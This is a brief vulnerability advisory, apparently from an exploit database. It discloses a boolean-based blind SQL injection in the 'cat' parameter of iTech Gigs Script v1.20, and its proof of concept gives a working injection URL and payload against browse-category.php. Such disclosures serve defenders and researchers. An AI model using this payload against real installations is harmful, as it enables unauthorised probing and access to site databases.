iTech Gigs Script 1.20 – ‘cat’ SQL Injection
# Exploit Title: iTech Gigs Script v1.20 - SQL Injection # Date: 2017-09-15 # Exploit Author: 8bitsec # Vendor Homepage: http://itechscripts.com/ # Software Link: http://itechscripts.com/the-gigs-script/ # Version: 1.20 # Tested on: [Kali Linux 2.0 | Mac OS 10.12.6] # Email: contact@8bitsec.io # Contact: https://twitter.com/_8bitsec Release Date: ============= 2017-09-15 Product & Service Introduction: =============================== Designed to launch an online market place facilitating participation of professionals from diverse walks of life. Technical Details & Description: ================================ SQL injection on [cat] parameter. Proof of Concept (PoC): ======================= SQLi: http://localhost/[path]/browse-category.php?cat=xxxxx' AND 4079=4079 AND 'zpSy'='zpSy Parameter: cat (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: cat=10c4ca4238a0b923820dcc509a6f75849b' AND 4079=4079 AND 'zpSy'='zpSy ================== 8bitsec - [https://twitter.com/_8bitsec] |